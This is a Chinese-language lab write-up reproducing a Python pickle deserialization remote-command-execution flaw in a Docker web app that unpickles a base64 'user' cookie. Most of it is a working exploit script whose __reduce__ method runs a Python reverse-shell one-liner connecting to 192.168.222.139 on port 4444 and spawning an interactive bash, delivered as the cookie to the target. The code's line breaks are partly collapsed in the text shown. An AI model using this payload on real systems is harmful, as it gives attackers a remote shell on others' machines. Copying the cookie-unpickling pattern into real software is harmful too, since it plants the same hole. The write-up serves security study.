新后端漏洞(上)- Python unpickle 造成任意命令执行漏洞
漏洞介绍:
在Python中,反序列化(unpickling)是一种将序列化的对象数据重新转换为Python对象的过程。如果处理不当,这种机制可以成为安全隐患,尤其是在涉及到不安全的数据来源时。最典型的例子是反序列化漏洞,特别是在处理pickle模块时。
复现环境:
在docker环境中进行复现
docker-compose up -d
1、创建docker环境
2、访问http://127.0.0.1:8000
,显示Hello {username}!
。username是取Cookie变量user,对其进行base64解码+反序列化后还原的对象中的“username”变量,默认为“Guest”,伪代码:pickle_decode(base64_decode(cookie['user']))['username'] or 'Guest'
。
exp内容如下:
#!/usr/bin/env python3
import requests
import pickle
import os
import base64class exp(object):def __reduce__(self):s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.222.139",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""return (os.system, (s,))e = exp()
s = pickle.dumps(e)response = requests.get("http://127.0.0.1:8000/", cookies=dict(user=base64.b64encode(s).decode()))
print(response.content)